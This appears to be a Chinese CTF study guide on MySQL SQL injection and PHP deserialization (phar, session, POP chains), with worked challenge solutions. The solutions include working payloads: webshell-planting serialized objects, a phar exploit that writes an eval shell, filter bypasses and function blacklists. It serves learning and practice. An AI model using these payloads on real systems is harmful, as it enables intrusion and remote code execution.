SLEEP(_n_)- 睡眠 n 秒BENCHMARK(_count_,_expr_)- 计算expr表达式count次,用于测试函数或者表达式的执行速度,返回值都是 0,仅仅会执行显示时间笛卡尔积- 多表查询
SELECT count(*) FROM information_schema.columns A, information_schema.columns B
RLIKE- 利用 SQL 多次计算正则消耗计算资源产生延时效果,通过rpad或repeat构造长字符串
SELECT RPAD('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
堆叠注入(Stacked Queries)
一次执行多条 SQL 语句,每条语句以;结尾。比如后端使用mysqli_multi_query函数。由于可以执行其他语句,堆叠注入的危害性更大。
# 列出数据库
SHOW {DATABASES | SCHEMAS};
# 列出表
SHOW TABLES;
# 查看表结构
SHOW COLUMNS from `tbl_name`;
DESC `tbl_name`;
DESCRIBE `tbl_name`;
二次(阶)注入(Double Order SQLi)
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入
- addslashes,仅仅是为了获取插入数据库的数据,额外的
\并不会插入
例:SQLi-labs 第 24 关
经典赛题分析
练习题
简单
- [极客大挑战 2019]EasySQL
- Your secrets
中等
- [极客大挑战 2019]FinalSQL
- [SUCTF 2019]EasySQL
困难
- 网鼎杯 2018 comment
SQL注入进阶
MySQL 5.7特性
MySQL 5.7.9 新增sys数据库
SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_table_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
MySQL 8 特性
MySQL 8.0.19 之后,新增了TABLE、VALUES
- TABLE 语法 - 始终显示所有字段、不支持过滤,即 WHERE 子句
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
- VALUE 语法 - 把一组一个或多个行作为表展示出来,返回的也是一个表数据
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
VALUES ROW(1, 2, 3) UNION SELECT * FROM users;
编码绕过
- to_base64,5.6 版本新增
- hex
- aes_encrypt
- des_encrypt
过滤空格
- 注释
- /**/
- /*something*/
- /*!*/
- 括号 -
UNION(SELECT(column)FROM(tbl))
- 其他字符
| 09 | Horizontal Tab |
| 0A | New Line |
| 0B | Vertical Tab |
| 0C | New Page |
| 0D | Carriage Return |
| A0 | Non-breaking Space |
| 20 | Space |
过滤引号
- 十六进制
SELECT * FROM users WHERE username = 0x637466;
char()函数
SELECT * FROM users WHERE username = CHAR(99, 116, 102);
过滤逗号
- 联表查询
JOIN
-1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b
LIMIT 1 OFFSET 0FROM x FOR y- mid(user() from 1 for 1)
- substr(user() from 1 for 1)
EXP等数学运算函数
前提是有报错信息
select !(select*from(select user())x)-~0;
过滤字段名
过滤字段或无法知道字段名,通常可以进行连表查询和按位比较
select x.3 from (select * from (select 1)a JOIN (select 2)b JOIN (select 3)c union(select * from users))x;
如果表中只有 1 个字段,SUBSTR((SELECT * FROM users LIMIT 1),1,1)='x'
如果有多个字段,需要字段数相等
SELECT (SELECT 1,2,3) > (SELECT * FROM users LMIT 1);
MySQL 默认不区分大小写,可以使用二进制字符串进行比较
SELECT CONCAT("A", CAST(0 AS JSON))
过滤关键字
等价
AND、&&OR、||=、LIKE、GREATEST(),更多比较操作符
/union\s+select/i- UNION(SELECT)
- UNION [ALL|DISTINCT] SELECT
- UNION/*!SELECT*/
- UNION/**/SELECT
- UNION%A0SELECT
/union/i- 转化为盲注/select/i- 往往和堆叠注入有联系preg_replace('[\s]',"",$id))删除关键字SELESELECTCT,叠字绕过
宽字节注入
在开启转义后,由于数据库编码和 PHP 编码不同,产生注入
- addslashes为了数据库查询语句等的需要在某些字符前加上了反斜线转义,单引号(')、双引号(")、反斜线(\)与 NUL(null 字符)
0x 5c -> \
$id = 0x bf 27
addslashes($id) -> 0x bf 5c 27 -> 縗'
GBK采用双字节编码,编码范围8140-FEFE
堆叠注入
存在堆叠注入,且过滤select
// 修改表名
RENAME TABLE `tbl_name` TO `new_tbl_name`;
ALTER TABLE `tbl_name` RENAME TO `new_tbl_name`;
// 修改字段名
ALTER TABLE `tbl_name` CHANGE `col_name` `new_col_name` 字段类型;
预编译语句
set @sql=concat("sel","ect flag from `tbl_name`");
PREPARE x from @sql;
EXECUTE x;
handler
练习题
- GYCTF2020 Ezsqli
- 网鼎杯 2018 unfinish
经典赛题分析
强网杯_2019_随便注
堆叠注入
- 单引号、有错误信息提示、字段数为 2
- 过滤
preg_match("/select|update|delete|drop|insert|where|\./i",$inject); - 过滤
select,考虑堆叠注入
方法 1:预编译
SET @sql=concat("se","lect flag from `1919810931114514`");PREPARE x FROM @sql;EXECUTE x;
方法 2:修改表名、字段名
RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100);
方法 3:handler,见
i春秋2020新春公益赛第二天blacklist,采用第三种方法
<!-OOB,oeder by 注入,false 注入,like 注入 mysql 特性-->
PHP反序列化漏洞
序列化是将数据结构或对象状态转换为可存储或传输的格式的过程,以便在不同平台或环境中交换或保存,并在需要时恢复原始状态。
反序列化是将序列化后的数据(如字符串,字节流等)还原为原始对象的过程。
PHP 提供了两个内置函数实现序列化和反序列化:
-
serialize(),序列化函数,生成值的可存储表示。可处理所有的类型,除了 resource 类型和一些 object(大多数是没有序列化接口的内置对象)
-
unserialize(),反序列化函数,从已存储的表示中创建 PHP 的值
基础
序列化字符串格式
基本类型的序列化字符串格式
<?php
echo "整型 " . serialize(10) . PHP_EOL; // 整型 i:10;
echo "浮点型 " . serialize(13.14).PHP_EOL; // 浮点型 d:13.14;
echo "字符串 " . serialize("This is a string"). PHP_EOL; // 字符串 s:16:"This is a string";
echo "布尔型 " . serialize(FALSE). PHP_EOL; // 布尔型 b:0;
echo "NULL " . serialize(NULL). PHP_EOL; // NULL N;
echo "数组 " . serialize(['foo', 'bar', 'baz']). PHP_EOL; // 数组 a:3:{i:0;s:3:"foo";i:1;s:3:"bar";i:2;s:3:"baz";}
- 反序列化示例
$a = unserialize('s:16:"This is a string";');
var_dump($a); // string(16) "This is a string"
- 例题
<?php
if(unserialize($_GET['name']) === 'admin') {
echo "flag{...}";
}
对象的序列化字符串格式
<?php
class Person
{
public $username = 'john';
protected $age = 20;
private $isOK = false;
public function get_username() {
return $this->usernme;
}
}
$p = new Person();
$serialized = serialize($p);
// 由于ASCII为0的字符不可见,替换为%00
echo str_replace("\x00", "%00", $serialized);
结果示例:
O:6:"Person":3:{s:8:"username";s:4:"john";s:6:"%00*%00age";i:20;s:12:"%00Person%00isOK";b:0;}
// O:类名长度:类名:属性个数:{s:属性名长度:属性名;s:属性值长度:属性值;...}
序列化字符串的特点:
- 序列化字符串仅包含属性,不包含方法。
- 属性的访问控制不同,序列化后表现形式也不同:
protected属性表示为%00*%00private属性表示为%00类名%00
常见魔术方法
魔术方法是一种特殊的方法,会在对象执行某些操作时覆盖 PHP 的默认操作,了解更多
魔术方法名称及说明
<?php
class Person {
public $name, $age;
function __construct($name, $age) {
echo "__construct" . PHP_EOL;
$this->name = $name;
$this->age = $age;
}
public function get_name() {
return $this->name;
}
function __destruct() {
echo "__destruct" . PHP_EOL;
}
public function __toString() {
echo "__toString" . PHP_EOL;
return "";
}
public function __wakeup() {
echo "__wake_up" . PHP_EOL;
}
public function __sleep() {
echo "__sleep" . PHP_EOL;
return [];
}
public function __invoke() {
echo "__invoke" . PHP_EOL;
}
public function __set($name, $value) {
echo "__set" . PHP_EOL;
}
public function __get($name) {
echo "__get" . PHP_EOL;
}
public function __call($name, $arguments) {
echo "__call" . PHP_EOL;
}
}
$o = new Person('Alice', 18);
// 对象被当成字符串时调用
echo $o;
// 以调用函数的方式调用对象
$o();
// 访问不存在的属性
$o->not_found_property;
// 给不存在的属性赋值
$o->not_found_property = 'test';
// 调用一个不可访问方法
$o->not_found_method();
// 序列化和反序列化
$serialized = serialize($o);
unserialize($serialized);
/* 输出
__construct
__toString
__invoke
__get
__set
__call
__sleep
__wake_up
__destruct
*/
| 魔术方法名称 | 说明 |
|---|---|
| __sleep() | serialize() 时调用 |
| __wakeup() | unserialize() 时调用 |
| __toString() | 用于一个对象被当成字符串时调用 |
| __invoke() | 当尝试以调用函数的方式调用一个对象时 |
| __construct() | 构造函数,每次创建新对象时先调用此方法 |
| __destruct() | 析构函数,某个对象的所有引用都被删除或者当对象被显式销毁时执行 |
| __set() | 在给不可访问(protected 或 private)或不存在的属性赋值时 |
| __get() | 读取不可访问(protected 或 private)或不存在的属性的值时 |
| __call() | 当对象调用一个不可访问方法时 |
例题分析
<?php
class test {
public $cmd;
function __destruct() {
eval($this->cmd);
}
}
unserialize($_GET['u']);
test类的析构函数__destruct()存在代码执行漏洞。需要在本地调试代码,生成所需要的序列化字符串。
- EXP:
<?php
// 类名与题目类名保持一致
class test {
// 只保留属性,可直接赋值
public $cmd='?><?=`$_GET[cmd]`;';
// 不保留方法
}
// 实例化对象
$o = new test;
// 也可通过访问对象属性赋值
// $o->cmd = '';
// 输出序列化字符串,必要时可进行URL编码
echo serialize($o);
// O:4:"test":1:{s:3:"cmd";s:18:"?><?=`$_GET[cmd]`;";}
练习题
- BUUCTF - [NewStarCTF 2023 公开赛道]Unserialize?
常见绕过方法
__wakeup()方法绕过(CVE-2016-7124)
When an unexpected object is created, __wakeup() is not invoked during deserialization, which could allow an attacker to bypass __wakeup() and invoke __destruct() with crafted properties.
PHP before 5.6.25 and 7.x before 7.0.10
当序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup()的执行
例题分析:
<?php
highlight_file(__FILE__);
class User {
public $name;
function __construct($name) {
$this->name = $name;
}
function __wakeup() {
$this->name = "Guest";
}
function __destruct() {
if ($this->name === "Admin") {
echo "Greetings, Admin! Your flag is: FLAG{example_flag}";
}
echo "Goodbye, " . $this->name . "!";
}
}
unserialize($_GET['u']);
EXP:
O:4:"User":2:{s:4:"name";s:5:"Admin";}
PHP > 7.1反序列化时对类属性的访问控制不敏感,只要属性名相同,就可以正常反序列化- 表示字符类型的标识
S为大写时,其内容会被当成十六进制解析,如S:3:"\61\62\63" - 使用
+绕过preg_match('/^O:\d+/')正则检查,如O:+4:"test"
练习题
- BUUCTF - [NewStarCTF 2023 公开赛道]Unserialize Again
POP 链构造
面向属性编程(Property-Oriented Programing)
- 题眼
题目中有多个类,且每个类存在魔术方法
练习题
- BUUCTF - [NewStarCTF 公开赛赛道]UnserializeOne
Phar 反序列化
phar 文件介绍
phar扩展提供了一种将整个 PHP 应用程序放入单个叫做phar(PHP 归档)文件的方法,以便于分发和安装。phar 是 PHP 和 Archive 的合成词,大致上基于 Java 开发人员熟悉的 jar(Java 归档)。
phar 文件由4 部分组成:
stub,标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>结尾manifest,清单。其中还会经serialize()序列化保存Meta-datacontents,内容signature,签名,可选
phar://协议
<?php
include 'phar:///path/to/myphar.phar/file.php';
?>
漏洞原理
2018 年,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用 phar 文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了 PHP 反序列化漏洞的攻击面。
题眼
- 允许上传精心构造的 phar 文件
- 允许使用
phar://
添加任意的文件头+修改后缀名的方式将 phar 文件伪装成其他格式的文件
创建 phar 文件
?> 需将php.ini中的phar.readonly选项设置为Off,否则无法生成 phar 文件。
<?php
class AnyClass
{
public function __destruct()
{
echo "__destruct" . PHP_EOL;
}
}
@unlink("test.phar"); // 删除已有文件
$phar = new Phar("test.phar"); //文件名,后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$object = new AnyClass();
$phar->setMetadata($object); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
// 本地测试
if (file_exists("test.phar")) {
file_get_contents("phar://test.phar");
}
在meta-data部分内容以序列化形式存储。
$ xxd test.phar
00000000: 3c3f 7068 7020 5f5f 4841 4c54 5f43 4f4d <?php __HALT_COM
00000010: 5049 4c45 5228 293b 203f 3e0d 0a49 0000 PILER(); ?>..I..
00000020: 0001 0000 0011 0000 0001 0000 0000 0013 ................
00000030: 0000 004f 3a38 3a22 416e 7943 6c61 7373 ...O:8:"AnyClass
00000040: 223a 303a 7b7d 0800 0000 7465 7374 2e74 ":0:{}....test.t
00000050: 7874 0400 0000 dbee 2a68 0400 0000 0c7e xt......*h.....~
00000060: 7fd8 b601 0000 0000 0000 7465 7374 8b7e ..........test.~
00000070: 036c b419 d175 41e8 8c81 e4bd 8cf3 4b6e .l...uA.......Kn
00000080: ca61 0200 0000 4742 4d42 .a....GBMB
例题分析
例题1:[NewStarCTF 2023 公开赛道] PharOne
首页为文件上传,查看网页源代码,提示class.php,直接访问得源代码如下:
<?php
highlight_file(__FILE__);
class Flag
{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink($_POST['file']);
经典反序列化题目,但是没有unserialize()函数。上传phar文件,使用unlink函数触发phar://协议。
<?php
class Flag
{
public $cmd = "echo PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+|base64 -d > upload/shell.php";
}
@unlink("test.phar"); // 删除已有文件
$phar = new Phar("test.phar"); //文件名,后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>"); //设置stub
$object = new Flag();
$phar->setMetadata($object); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
- 文件后缀名检测,白名单文件上传,仅支持图片后缀上传。
- 上传正常 phar 文件时,提示
!preg_match("/__HALT_COMPILER/i",FILE_CONTENTS),使用 gzip 压缩绕过
gzip test.phar
file=pupload/fa75c83c80cab8c9dc30d3f1c1b6f610.gif
[SWPUCTF 2018]SimplePHP
题目存在任意文件读取漏洞,获取题目源代码。
file.php?file=function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do()
{
global $_FILES;
$filename = md5($_FILES["file"]["name"] . $_SERVER["REMOTE_ADDR"]) . ".jpg";
//mkdir("upload",0777);
if (file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file()
{
global $_FILES;
if (upload_file_check()) {
upload_file_do();
}
}
function upload_file_check()
{
global $_FILES;
$allowed_types = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
} else {
if (in_array($extension, $allowed_types)) {
return true;
} else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
file.php?file=file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir', '/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if (empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if (file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)) {
die('file doesn\'t exists.');
}
file.php?file=class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key, $value)
{
$this->$key = $value;
}
public function _show()
{
if (preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i', $this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if (preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if (isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
练习题
- [D3CTF 2019]EzUpload
- [NewStarCTF 2023 公开赛道]Unserialize Again
- [CISCN2019 华北赛区 Day1 Web1]Dropbox
<?php
class dir
{
public $userdir;
public $url;
public $filename;
// 构造函数,为每个用户创建独立的目录
public function __construct($url, $filename)
{
$this->userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
$this->url = $url;
$this->filename = $filename;
if (!file_exists($this->userdir)) {
mkdir($this->userdir, 0777, true);
}
}
// 检查目录
public function checkdir()
{
if ($this->userdir != "upload/" . md5($_SERVER["REMOTE_ADDR"])) {
die('hacker!!!');
}
}
// 检查url,协议不能为空,也不能是file、php
public function checkurl()
{
$r = parse_url($this->url);
if (!isset($r['scheme']) || preg_match("/file|php/i", $r['scheme'])) {
die('hacker!!!');
}
}
// 检查文件名,不能包含..、/,后缀不能有ph
public function checkext()
{
if (stristr($this->filename, '..')) {
die('hacker!!!');
}
if (stristr($this->filename, '/')) {
die('hacker!!!');
}
$ext = substr($this->filename, strrpos($this->filename, ".") + 1);
if (preg_match("/ph/i", $ext)) {
die('hacker!!!');
}
}
public function upload()
{
$this->checkdir();
$this->checkurl();
$this->checkext();
$content = file_get_contents($this->url, NULL, NULL, 0, 2048);
if (preg_match("/\<\?|value|on|type|flag|auto|set|\\\\/i", $content)) {
die('hacker!!!');
}
file_put_contents($this->userdir . "/" . $this->filename, $content);
}
public function remove()
{
$this->checkdir();
$this->checkext();
if (file_exists($this->userdir . "/" . $this->filename)) {
unlink($this->userdir . "/" . $this->filename);
}
}
public function count($dir)
{
if ($dir === '') {
$num = count(scandir($this->userdir)) - 2;
} else {
$num = count(scandir($dir)) - 2;
}
if ($num > 0) {
return "you have $num files";
} else {
return "you don't have file";
}
}
public function __toString()
{
return implode(" ", scandir(__DIR__ . "/" . $this->userdir));
}
public function __destruct()
{
$string = "your file in : " . $this->userdir;
file_put_contents($this->filename . ".txt", $string);
echo $string;
}
}
if (!isset($_POST['action']) || !isset($_POST['url']) || !isset($_POST['filename'])) {
highlight_file(__FILE__);
die();
}
$dir = new dir($_POST['url'], $_POST['filename']);
if ($_POST['action'] === "upload") {
$dir->upload();
} elseif ($_POST['action'] === "remove") {
$dir->remove();
} elseif ($_POST['action'] === "count") {
if (!isset($_POST['dir'])) {
echo $dir->count('');
} else {
echo $dir->count($_POST['dir']);
}
}
参考资料
session 反序列化
在 Web 开发中,HTTP 协议是无状态的。这意味着服务器默认不会记住上一个请求来自谁,每个请求都是独立的。但现实中的应用(如购物车、用户登录)都需要“记住”用户的状态。
PHP Session 是一个在服务器端存储用户状态信息的强大机制,它通过一个存储在客户端的Session ID Cookie 来将用户与其数据关联起来。
<?php
// 开启session会话
session_start();
$_SESSION['username'] = 'Alice';
会话开始:当用户第一次访问一个启动了 Session 的 PHP 页面(通常通过 session_start() 函数),PHP 会做两件事:
生成一个唯一标识符:称为 Session ID(例如 c7c7c6d5a2a10e4b7c882e4e5a59d3b0)。
通过 Cookie 发送这个 ID 给浏览器:这个 Cookie 通常命名为 PHPSESSID。
后续请求:用户在站点的每一个后续请求,浏览器都会自动在请求头中携带这个 PHPSESSID Cookie。
服务器识别用户:服务器(PHP)接收到请求后,读取 PHPSESSID,并通过这个 ID 找到服务器上存储的对应 Session 数据文件。
数据存储与读取:
存储:你的脚本可以将任何数据(字符串、数组、对象等)保存在超全局数组 $_SESSION 中(例如 $_SESSION['username'] = 'Alice';)。
读取:在其他页面上,只要启动了 session_start(),你就可以直接访问 $_SESSION['username'] 来获取值 'Alice'。
会话结束:当用户关闭浏览器或 Session 超时(默认通常是 24 分钟),会话被视为结束。服务器最终会清理掉过期的 Session 文件。
PHP 默认将会话数据($_SESSION 超全局数组中的内容)序列化后,以一个文件的形式存储在服务器上(例如 /tmp/sess_abc123)。
| 常见配置选项 | 说明 |
|---|---|
| session.save_handler | 保存形式,默认为 files |
| session.save_path | 保存路径,默认路径有/tmp/、/var/lib/php/ |
| session.serialize_handler | 序列化处理器名称,有php、php_binary和php_serialize三种,默认为php |
不同序列化处理器,序列化数据存储格式不同
<?php
// 设置脚本执行期间的session处理器,php、php_binary、php_serialize
ini_set('session.serialize_handler', 'php_binary');
// 开启session会话
session_start();
$_SESSION['name'] = 'Alice';
$_SESSION['age'] = 25;
| 处理器名称 | 数据存储格式 |
|---|---|
| php | 键名 + 竖线 + 经过 serialize() 函数序列化处理的值,如 name|s:5:"Alice";age|i:25; |
| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize()函数序列化处理的值,如 \x04names:5:"Alice";\x03agei:25; |
| php_serialize | $_SESSION 数组经 serialize()函数处理,如 a:2:{s:4:"name";s:5:"Alice";s:3:"age";i:25;} |
如果session在序列化和反序列化时使用的处理器不同,会导致读写数据出现不一致。在特定情况下,这会产生反序列化漏洞。混合使用 php 处理器和 php_serialize 处理器时,情况尤为明显。
假设提交的数据为 name=|O:4:"test":0:{}
- 如果存储时使用
php_serialize处理器,数据将被存储为a:1:{s:4:"name";s:16:"|O:4:"test":0:{}";} - 而如果读取时使用
php处理器,处理器会将|前面的内容识别为键名,而将O:4:"test":0:{}作为值进行反序列化,从而触发反序列化漏洞
例题分析
[BUUCTF]2020-HFCTF-BabyUpload
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
- file_exists — 检查文件或目录是否存在
- 下载当前用户的 session 文件,判断处理器类型为
php_binary - 生成目标 session 文件
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['username'] = 'admin';
- 计算文件的 sha256
sha256sum sess_xxx
# 432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
- 上传文件
curl -X POST -F "up_file=@/tmp/sess_2;filename=sess;" -F "direction=upload" http://f39c4ab1-8cf6-47a3-bc18-cbf23dce4c98.node5.buuoj.cn:81/
curl -X POST -F "up_file=@/tmp/sess_2;filename=sess;" -F "attr=success.txt" -F "direction=upload" http://f39c4ab1-8cf6-47a3-bc18-cbf23dce4c98.node5.buuoj.cn:81/
此外也可以通过构建上传表单进行文件上传
<form enctype="multipart/form-data" action="http://a917c0b3-2b1c-40ff-bd57-e804d096a865.node5.buuoj.cn:81/" method="POST">
<!-- MAX_FILE_SIZE must precede the file input field -->
<input type="hidden" name="MAX_FILE_SIZE" value="30000" />
<input type="hidden" name="direction" value="upload" />
<!-- <input type="hidden" name="attr" value="success.txt" /> -->
<!-- Name of input element determines name in $_FILES array -->
Send this file: <input name="up_file" type="file" />
<input type="submit" value="Send File" />
</form>
例题:Jarvis OJ — PHPINFO 分析
题眼
- 可以控制
session的内容 - 脚本文件指定了处理器
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
http://web.jarvisoj.com:32784/
- 存在恶意类
OowoO,析构方法中存在代码执行漏洞 - 通过
phpinfo()可知:
session.upload_progress.enabled=On,可用文件上传在session中写入数据session.serialize_handler的默认值为php_serialize,脚本运行时配置为php,处理器不一致
- 我们可通过文件上传控制
session文件内容,进而实现session反序列化漏洞攻击
例题:Jarvis OJ — PHPINFO 解题步骤
- 生成
payload
<?php
class OowoO{
public $mdzz = '?><?=`$GET["cmd"]`';
}
$obj = new OowoO();
echo serialize($obj);
// O:5:"OowoO":1:{s:4:"mdzz";s:18:"?><?=`$GET["cmd"]`";}
?>
- 构造文件上传进度请求
<form
action="http://web.jarvisoj.com:32784/"
method="POST"
enctype="multipart/form-data"
>
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
字符逃逸
PHP 原生类
PHP 内置类
读取目录、文件
-
DirectoryIterator - 列出当前目录下的文件信息
-
Filesystemlterator - 以绝路路径的形式列出的文件信息
-
Globlterator - 遍历一个文件目录,可以通过模式匹配来寻找文件路径
-
SplFileInfo - SplFileInfo 类为单个文件的信息提供了高级的面向对象接口
练习题
- 基础
- 极客大挑战 2019 php
- 2020-网鼎杯朱雀组-phpweb
- POP
- ISCC_2022_POP2022
- 强网杯_2021_赌徒
- 网鼎杯_2020_青龙组 AreUSerialz
- ISCC_2022_findme
- GYCTF2020 Easyphp
- 字符逃逸
- 强网杯_2020_Web 辅助
极客大挑战 2019 php
- 目录扫描,
www.zip - 绕过
__wakeup()
class Name {
private $username = 'admin';
private $password = 100;
}
$o = new Name;
// 由于属性为私有,采用URL编码
echo urlencode(serialize($o));
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
buuctf - 2020-网鼎杯朱雀组-phpweb
<?php
$disable_fun = array(
"exec",
"shell_exec",
"system",
"passthru",
"proc_open",
"show_source",
"phpinfo",
"popen",
"dl",
"eval",
"proc_terminate",
"touch",
"escapeshellcmd",
"escapeshellarg",
"assert",
"substr_replace",
"call_user_func_array",
"call_user_func",
"array_filter",
"array_walk",
"array_map",
"registregister_shutdown_function",
"register_tick_function",
"filter_var",
"filter_var_array",
"uasort",
"uksort",
"array_reduce",
"array_walk",
"array_walk_recursive",
"pcntl_exec",
"fopen",
"fwrite",
"file_put_contents"
);
function gettime($func, $p)
{
$result = call_user_func($func, $p);
$a = gettype($result);
if ($a == "string") {
return $result;
} else {
return "";
}
}
class Test
{
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct()
{
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func, $disable_fun)) {
echo gettime($func, $p);
} else {
die("Hacker...");
}
}
ISCC_2022_POP2022
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if (isset($_GET['wish'])) {
@unserialize($_GET['wish']);
} else {
$a = new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long
{
public $page;
public $string;
public function __construct($file = 'index.php')
{
